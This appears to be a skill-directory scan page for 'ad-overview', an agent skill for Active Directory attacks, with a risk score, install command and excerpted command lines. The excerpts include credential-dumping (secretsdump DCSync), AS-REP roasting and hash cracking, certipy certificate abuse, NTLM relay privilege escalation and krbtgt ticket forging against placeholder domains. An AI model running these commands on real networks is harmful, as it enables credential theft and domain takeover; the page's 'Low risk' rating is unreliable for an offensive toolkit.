← All skills
ad-overview
80 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 45 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md, line 77
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc - packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md, line 27
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \ - packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md, line 36
kerbrute userenum --dc DC_IP -d DOM users.txt - packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md, line 42
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \ - packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md, line 48
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \ - packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md, line 56
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \ - packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md, line 19
certipy find -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \ - packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md, line 51
certipy req -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \ - packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md, line 64
certipy auth -pfx administrator.pfx -username administrator -domain target.local -dc-ip <dc-ip> - packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md, line 75
KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass dc.target.local - packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md, line 85
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \ - packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md, line 104
certipy account update -u lowpriv@target.local -p pass \ - packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md, line 34
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support - packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md, line 49
git clone https://github.com/p0dalirius/Coercer - packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md, line 81
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local - packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md, line 44
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \ - packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md, line 83
ticketer.py -nthash KRBTGT_NT \
and 25 more places
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'ad-overview' ] || [ -L ~/.agents/skills/'ad-overview' ]; then echo 'A skill folder named ad-overview already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/ad' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/ad' ~/.agents/skills/'ad-overview' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'ad-overview' ~/.claude/skills/'ad-overview' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 80 |
| 2026-11-08 | df87955 | 80 |